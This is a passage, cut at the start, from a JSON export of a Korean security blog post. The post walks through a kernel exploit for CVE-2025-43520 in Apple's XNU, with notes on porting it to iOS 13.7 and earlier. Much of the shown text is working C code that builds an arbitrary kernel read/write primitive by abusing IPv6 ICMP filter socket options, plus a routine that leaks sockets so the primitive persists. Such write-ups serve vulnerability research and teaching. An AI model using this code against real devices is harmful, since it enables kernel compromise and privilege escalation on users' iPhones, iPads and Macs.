*envp[]) {\n    ...\n    uint64_t kptr = kextrw_kalloc(PAGE_SIZE);\n    early_kwrite64(kptr, 0x4142434413371338);\n    uint64_t val = kextrw_kread64(kptr);\n    printf(&quot;kptr = 0x%llx -&gt; val: 0x%llx\\n&quot;, kptr, val);;\n    assert(val == 0x4142434413371338);\n    kextrw_kfree(kptr, PAGE_SIZE);\n    ...\n}\n<\/code><\/pre>\n<p><code>early_kwrite64<\/code> \ub97c \uc0b4\ud3b4\ubcf4\uba74, \uc6b0\uc120 <code>early_kread<\/code>\ub97c \uc218\ud589\ud558\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub294\ub370, \uc774\ub294 socket \ud2b9\uc131\uc0c1 32\ubc14\uc774\ud2b8 \ud06c\uae30\ub97c \ucee8\ud2b8\ub864 \ud560 \uc218 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4. \ub530\ub77c\uc11c \ud2b9\uc815 \uc8fc\uc18c\ub85c\ubd80\ud130 32\ubc14\uc774\ud2b8 \uac12\uc744 \uc77d\uc740 \ub2e4\uc74c, \uccab 8\ubc14\uc774\ud2b8\uac12\ub9cc \uc784\uc758\uc758 \uac12\uc744 \uc4f0\uace0 \ub098\uba38\uc9c0 \ub370\uc774\ud130\ub294 \uc720\uc9c0\uc2dc\ud0a8\ub2e4.<\/p>\n<p><code>early_kwrite32bytes<\/code> \ub97c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p><code>set_target_kaddr<\/code>\uc744 \uc218\ud589\ud558\uba74, \uc0dd\uc131\ud55c 1\ubc88\uc9f8 \uc18c\ucf13\uc758 <code>in6p_icmp6filt<\/code>\uac12\uc774 2\ubc88\uc9f8 \uc18c\ucf13\uc758 <code>in6p_icmp6filt<\/code> \uc704\uce58\ub97c \uac00\ub9ac\ud0a4\uae30 \ub54c\ubb38\uc5d0 2\ubc88\uc9f8 \uc18c\ucf13 \uc911 <code>inpcb-&gt;in6p_icmp6filt<\/code> \ud544\ub4dc\uac12\uc774 \uc77d\ud790 \ucee4\ub110 \uc8fc\uc18c\ub85c \uc9c0\uc815\ub41c\ub2e4.<\/p>\n<p>\uadf8\ub807\uae30 \ub54c\ubb38\uc5d0, 2\ubc88\uc9f8 \uc18c\ucf13 \ub514\uc2a4\ud06c\ub9bd\ud130\ub85c <code>setsockopt<\/code> \ud638\ucd9c\uc744 \ud558\uba74\uc740 \uc784\uc758\uc758 \uac12\uc744 \uc4f8 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">void early_kwrite32bytes(uint64_t where, uint8_t writeBuf[EARLY_KRW_LENGTH]) {\n    set_target_kaddr(where);\n    int res = setsockopt(g_rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, writeBuf, EARLY_KRW_LENGTH);\n    if (res != 0) {\n        printf(&quot;[-] setsockopt failed!!!&quot;);\n        assert(false);\n    }\n}\n\nvoid early_kwrite64(uint64_t where, uint64_t what) {\n    uint8_t writeBuf[EARLY_KRW_LENGTH];\n    early_kread(where, writeBuf, EARLY_KRW_LENGTH);\n    *(uint64_t *)writeBuf = what;\n    early_kwrite32bytes(where, writeBuf);\n}\n<\/code><\/pre>\n<p>\uadf8\ub9bc\uc73c\ub85c \uac04\ub2e8\ud788 \ub098\ud0c0\ub0b8\ub2e4\uba74, \uc544\ub798\uc640 \uac19\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Drawing_2026-05-16_20.29.51.excalidraw_2_1.png\" alt=\"Drawing 2026-05-16 20.29.51.excalidraw 2 1.png\"><\/p>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c <code>krw_sockets_leak_forever<\/code> \ub97c \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p>\uc0dd\uc131\ud588\ub358 2\uac1c \uc18c\ucf13\uc774 \uadf8\ub300\ub85c \ucee4\ub110\uc5d0 \ub0a8\uc544\uc788\uac8c \ud558\uae30 \uc704\ud574 <code>socket-&gt;so_usecount<\/code>, <code>socket-&gt;so_retaincnt<\/code> \uc744 \uac01\uac01 0x1001\uc73c\ub85c \uc99d\uac00\uc2dc\ud0a8\ub2e4. \uadf8\ub7ec\uba74 \ud504\ub85c\uadf8\ub7a8\uc774 \uc885\ub8cc\ub418\uc5b4\ub3c4 \uc18c\ucf13 \ud560\ub2f9\uc774 \ud574\uc81c\ub418\uba74\uc11c zone \uad00\ub828 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uc9c0 \uc54a\ub294 \uc774\uc810\uc774 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">void krw_sockets_leak_forever(uint64_t controlSocketPcb, uint64_t rwSocketPcb) {\n    uint64_t controlSocketAddr = early_kread64(controlSocketPcb + off_inpcb_inp_socket);\n    \/\/ printf(&quot;controlSocketPcb + off_inpcb_inp_socket = 0x%llx -&gt; 0x%llx\\n&quot;, controlSocketPcb + off_inpcb_inp_socket, controlSocketAddr);usleep(50000);\n\n    uint64_t rwSocketAddr = early_kread64(rwSocketPcb + off_inpcb_inp_socket);\n    \/\/ printf(&quot;rwSocketPcb + off_inpcb_inp_socket = 0x%llx -&gt; 0x%llx\\n&quot;, rwSocketPcb + off_inpcb_inp_socket, rwSocketAddr);usleep(50000);\n\n    if (!controlSocketAddr || !rwSocketAddr) {\n        printf(&quot;[-] Couldn't find controlSocketAddr || rwSocketAddr\\n&quot;);\n    }\n\n    uint64_t controlSocketSoCount = early_kread64(controlSocketAddr + off_socket_so_usecount);\n    \/\/ printf(&quot;controlSocketAddr + off_socket_so_usecount = 0x%llx -&gt; 0x%llx\\n&quot;, controlSocketAddr + off_socket_so_usecount, controlSocketSoCount);usleep(50000);\n\n    uint64_t rwSocketSoCount = early_kread64(rwSocketAddr + off_socket_so_usecount);\n    \/\/ printf(&quot;rwSocketAddr + off_socket_so_usecount = 0x%llx -&gt; 0x%llx\\n&quot;, rwSocketAddr + off_socket_so_usecount, rwSocketSoCount);usleep(50000);\n\n    \/\/ Set 0x1001 to socket-&gt;so_usecount, socket-&gt;so_retaincnt\n    early_kwrite64(controlSocketAddr + off_socket_so_usecount,\n                   controlSocketSoCount + 0x0000100100001001);\n    early_kwrite64(rwSocketAddr + off_socket_so_usecount,\n                   rwSocketSoCount + 0x0000100100001001);\n\n    early_kwrite64(rwSocketPcb + off_inpcb_inp_depend6_inp6_chksum, 0);\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n    ...\n    uint64_t controlSocketPcb = early_kread64(nextInpcb + off_inpcb_inp_list_le_next);\n    assert(controlSocketPcb == inpcb);  \/\/ should be same with inpcb\n    krw_sockets_leak_forever(controlSocketPcb, nextInpcb);\n\n    kextrw_deinit();\n\n    puts(&quot;done&quot;);\n    getchar();\n    return 0;\n}\n\n<\/code><\/pre>\n<h1>iOS 13.7 \uc774\ud558\ubc84\uc804\uc5d0\uc11c\uc758 \uc775\uc2a4\ud50c\ub85c\uc787 \uc2dc\ub3c4\ud558\uae30<\/h1>\n<p>\uc544\uc774\ud328\ub4dc 7\uc138\ub300 \/ iOS 13.7\uc774\ud558 \uad6c\ubc84\uc804\uc5d0\uc11c \ucee4\ub110 \uc775\uc2a4\ud50c\ub85c\uc787\uc774 \uc791\ub3d9 \uc548\ub418\uae38\ub798, \uc791\ub3d9\ub418\ub3c4\ub85d \ud55c\ubc88 \ub3c4\uc804\ud574\ubcf4\uc558\ub2e4\u2026 xnuspy \uc5c6\uc774 \ucee4\ub110 \uc775\uc2a4\ud50c\ub85c\uc787\uc744 \ub2ec\uc131\ud558\uc9c0\ub294 \ubabb\ud588\uc73c\uba70, \uc544\ub798 2\uac00\uc9c0 \uc694\uad6c\uc870\uac74\uc774 \ud544\uc694\ud558\ub2e4.<\/p>\n<ul>\n<li><code>vm_object_iopl_request<\/code> \uc5d0\uc11c \ud398\uc774\uc9c0 \uacbd\uacc4\ub97c \uc5c5\ub370\uc774\ud2b8\ud558\ub294 \ucf54\ub4dc\uac00 iOS 14.0 \ubd80\ud130 \ub3c4\uc785\ub418\uc5c8\uae30 \ub54c\ubb38\uc5d0 xnuspy\ub97c \ud1b5\ud574 \ud574\ub2f9 \ucf54\ub4dc\ub97c \ub123\uc5b4 \ud6c4\ud0b9\ud574\uc8fc\uc5b4\uc57c \ud55c\ub2e4.  <code>vm_page_insert_internal: (page=0xfffffff0f5207db0,obj=0xffffffe005393500,off=0x8000000,size=0x8000000) inserted at offset past object bounds<\/code> \uad00\ub828 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uae30 \ub54c\ubb38\uc774\ub2e4.<\/li>\n<li>\uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc \uc911 <code>pe_v1<\/code> \uc5d0 \uc788\ub294 <code>seekingOffset<\/code>\uac12\uc744 0x3000000 \uc774\uc0c1 \uac12\uc73c\ub85c \ud29c\ub2dd\ud574\uc904 \ud544\uc694\uac00 \uc788\uc5c8\ub2e4. <code>cluster_align_phys_io<\/code> \ub97c \ud6c4\ud0b9\ud558\uc5ec usr_paddr \uac12\uc744 \ucd9c\ub825\uc2dc\ud0b4\uc73c\ub85c\uc368 \uc5b4\ub290 \ubb3c\ub9ac \uba54\ubaa8\ub9ac \uc8fc\uc18c\ub97c OOB read\ud558\ub294\uc9c0 \uc54c \uc218 \uc788\uc5c8\uc73c\uba70, \ub9cc\uc57d \ud29c\ub2dd\ud558\uc9c0 \uc54a\ub294\ub2e4\uba74 \uc775\uc2a4\ud50c\ub85c\uc787\ud558\ub294\ub370 \uaf64 \uc624\ub798\uac78\ub838\ub358 \uac83\uc73c\ub85c \uae30\uc5b5\ud55c\ub2e4.<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/Screenshot_2026-05-21_at_7.35.01_PM.png\" alt=\"Screenshot 2026-05-21 at 7.35.01\u202fPM.png\"><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2025-43520\/pics\/image.png\" alt=\"image.png\"><\/p>\n<h1>\ucc38\uace0 \uc790\ub8cc<\/h1>\n<p><a href=\"https:\/\/robert.sesek.com\/2014\/1\/changes_to_xnu_mach_ipc.html\">https:\/\/robert.sesek.com\/2014\/1\/changes_to_xnu_mach_ipc.html<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/apple-oss-distributions\/xnu\">https:\/\/github.com\/apple-oss-distributions\/xnu<\/a><\/p>\n<p><a href=\"https:\/\/gist.github.com\/Muirey03\/8c8370258e32bafaf99e72ec90258c8d\">https:\/\/gist.github.com\/Muirey03\/8c8370258e32bafaf99e72ec90258c8d<\/a><\/p>\n<p><a href=\"https:\/\/developer.apple.com\/library\/archive\/documentation\/Darwin\/Conceptual\/KernelProgramming\/vm\/vm.html\">https:\/\/developer.apple.com\/library\/archive\/documentation\/Darwin\/Conceptual\/KernelProgramming\/vm\/vm.html<\/a><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"neve_meta_sidebar":"","neve_meta_container":"","neve_meta_enable_content_width":"","neve_meta_content_width":0,"neve_meta_title_alignment":"","neve_meta_author_avatar":"","neve_post_elements_order":"","neve_meta_disable_header":"","neve_meta_disable_footer":"","neve_meta_disable_title":"","_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[72],"tags":[11,12,13,25],"class_list":["post-4135","post","type-post","status-publish","format-standard","hentry","category-realworld","tag-ios","tag-ios-kernel","tag-macos","tag-pwnable"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4135"}],"version-history":[{"count":1,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4135\/revisions"}],"predecessor-version":[{"id":4136,"href":"https:\/\/h4ck.kr\/index.php?rest_route=\/wp\/v2\/posts\/4135\/revisions\/4136"}],"wp:attachment":[{"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ck.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}